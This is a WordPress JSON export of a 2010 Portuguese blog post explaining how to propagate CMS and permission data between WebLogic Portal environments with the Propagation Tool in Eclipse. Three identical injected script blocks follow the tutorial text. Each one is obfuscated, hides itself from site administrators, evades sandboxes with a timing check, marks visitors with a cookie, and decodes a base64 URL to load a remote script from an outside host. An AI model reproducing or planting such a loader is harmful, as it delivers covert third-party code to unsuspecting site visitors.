{"id":627,"date":"2010-10-08T12:30:02","date_gmt":"2010-10-08T15:30:02","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=627"},"modified":"2025-10-26T22:42:42","modified_gmt":"2025-10-27T01:42:42","slug":"propagacao-de-dados-no-weblogic-portal","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/08\/propagacao-de-dados-no-weblogic-portal\/","title":{"rendered":"Propaga\u00e7\u00e3o de dados no Weblogic Portal"},"content":{"rendered":"<p style=\"text-align: justify;\">Se voc\u00ea precisa sincronizar os dados (como CMS, permiss\u00f5es, ...) de um ambiente com Weblogic Portal para o outro (ou enviar uma parte alterada de um ambiente para outro), existe uma ferramenta apropriada para essa tarefa. Essa ferramenta \u00e9 o Propagation Tool e ela est\u00e1 dispon\u00edvel\u00a0 no Oracle Enterprise Pack. A instala\u00e7\u00e3o pode ser encontrada em: <a title=\"Oracle Enterprise Pack\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/08\/27\/oracle-enterprise-pack-for-eclipse-11g\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.thiagovespa.com.br\/blog\/2010\/08\/27\/oracle-enterprise-pack-for-eclipse-11g\/<\/a><\/p>\n<p style=\"text-align: justify;\">Voc\u00ea tamb\u00e9m pode executar a propaga\u00e7\u00e3o atr\u00e1ves de tasks <a title=\"Apache Ant\" href=\"http:\/\/ant.apache.org\/\" target=\"_blank\" rel=\"noopener\">Ant<\/a>: <a title=\"Ant Tasks\" href=\"http:\/\/download.oracle.com\/docs\/cd\/E15919_01\/wlp.1032\/e14245\/scripts_using.htm#g1065599\" target=\"_blank\" rel=\"noopener\">http:\/\/download.oracle.com\/docs\/cd\/E15919_01\/wlp.1032\/e14245\/scripts_using.htm#g1065599<\/a><\/p>\n<p style=\"text-align: justify;\">Para realizar uma propaga\u00e7\u00e3o pelo Oracle Enterprise Pack, abra o Eclipse (ou o Workshop) e inicie os dom\u00ednios que deseja sincronizar. Crie um projeto gen\u00e9rico no eclipse para colocar os dados dos ambientes. O primeiro passo \u00e9 fazer a importa\u00e7\u00e3o dos inventories dos ambientes. V\u00e1 em File, Import, Weblogic Portal, Propagation Inventory from Server e clique em Next:<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_632\" aria-describedby=\"caption-attachment-632\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Import.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-632 \" title=\"Import\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Import-300x282.png\" alt=\"Import\" width=\"300\" height=\"282\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Import-300x282.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Import.png 551w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-632\" class=\"wp-caption-text\">Import<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Nessa pr\u00f3xima tela, informe os dados do domain de origem, fique atento ao final da URL: \"Propagation\/inventorymanagement\". Informe tamb\u00e9m, o usu\u00e1rio e a senha do administrador do portal e clique em Next. Selecione o projeto criado anteriormente, coloque um nome para o inventory e clique em Finish. Aguarde alguns minutos. Fa\u00e7a o mesmo procedimento para o domain de destino, mas com outro nome de arquivo. Voc\u00ea dever\u00e1 ficar com dois arquivos zip.<\/p>\n<p style=\"text-align: justify;\">V\u00e1 em File, New, Other, Weblogic Portal, Propagation Session. Clique em Next, d\u00ea um nome e clique em Next novamente. Escolha o inventory de origem, pressione Next. Escolha o de destino e pressione Next. Na pr\u00f3xima tela, \u00e9 necess\u00e1rio escolher se voc\u00ea vai aceitar adi\u00e7\u00f5es, remo\u00e7\u00f5es e\/ou atualiza\u00e7\u00f5es. Escolha e pressione Next. Agora voc\u00ea pode escolher o quer propagar, no meu caso eu vou propagar somente uma parte de um reposit\u00f3rio de conte\u00fado e os seletores. Escolha o que deseja e pressione Next.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_637\" aria-describedby=\"caption-attachment-637\" style=\"width: 202px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Propagation-Session.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-637 \" title=\"New Propagation Session\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Propagation-Session-202x300.png\" alt=\"New Propagation Session\" width=\"202\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Propagation-Session-202x300.png 202w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Propagation-Session.png 523w\" sizes=\"auto, (max-width: 202px) 100vw, 202px\" \/><\/a><figcaption id=\"caption-attachment-637\" class=\"wp-caption-text\">New Propagation Session<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Selecione a pol\u00edtica de substitui\u00e7\u00e3o e pressione Finish. O Eclipse ir\u00e1 sugerir para abrir uma nova perspectiva. L\u00e1 voc\u00ea poder\u00e1 verificar as diferen\u00e7as e marcar o que vai do reposit\u00f3rio de origem para o de destino. Al\u00e9m de verificar os impactos da propaga\u00e7\u00e3o.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_639\" aria-describedby=\"caption-attachment-639\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Propagation-PropagationRepository-PropagationSession.propsession-Eclipse-Platform.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-639 \" title=\"Propagation - Eclipse Platform\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Propagation-PropagationRepository-PropagationSession.propsession-Eclipse-Platform-300x171.png\" alt=\"Propagation - Eclipse Platform\" width=\"300\" height=\"171\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Propagation-PropagationRepository-PropagationSession.propsession-Eclipse-Platform-300x171.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Propagation-PropagationRepository-PropagationSession.propsession-Eclipse-Platform-1024x584.png 1024w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Propagation-PropagationRepository-PropagationSession.propsession-Eclipse-Platform.png 1440w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-639\" class=\"wp-caption-text\">Propagation - Eclipse Platform<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Ap\u00f3s configurado, v\u00e1 em em File, Export, Weblogic Portal, Propagation Session to Inventory, Next. Escolha a Session criada anteriormente e clique em Next. D\u1ebd um nome para o merge de inventories e clique em Finish. V\u00e1 em File, Export, Weblogic Portal, Propagation Inventory to Server e clique em Next. Selecione o arquivo de merge criado no passo anterior e clique em Next. Informe os dados do domain de destino e clique em Finish. Ao t\u00e9rmino do envio para o server, voc\u00ea dever\u00e1 ter a seguinte tela:<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_642\" aria-describedby=\"caption-attachment-642\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Export-to-Server-Successful.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-642 \" title=\"Export to Server Successful\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Export-to-Server-Successful-300x105.png\" alt=\"Export to Server Successful\" width=\"300\" height=\"105\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Export-to-Server-Successful-300x105.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Export-to-Server-Successful.png 472w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-642\" class=\"wp-caption-text\">Export to Server Successful<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Pressione OK. Os dados devem estar no domain de destino. Se houverem usu\u00e1rios executando o portal, \u00e9 interessante colocar em modo de manuten\u00e7\u00e3o para que nenhuma personaliza\u00e7\u00e3o seja feita, ou ela poder\u00e1 ser perdida. Outra dica \u00e9 separar v\u00e1rios arquivos de merge, cada um com um recurso espec\u00edfico para ficar mais f\u00e1cil de descobrir poss\u00edveis problemas.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Se voc\u00ea precisa sincronizar os dados (como CMS, permiss\u00f5es, ...) de um ambiente com Weblogic Portal para o outro (ou enviar uma parte alterada de um ambiente para outro), existe uma ferramenta apropriada para essa tarefa. Essa ferramenta \u00e9 o <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/08\/propagacao-de-dados-no-weblogic-portal\/\">Continue lendo  <span class=\"screen-reader-text\">  Propaga\u00e7\u00e3o de dados no Weblogic Portal<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,10,9,6],"tags":[],"class_list":["post-627","post","type-post","status-publish","format-standard","hentry","category-java","category-jee","category-oracle","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/627","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=627"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/627\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=627"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=627"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=627"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}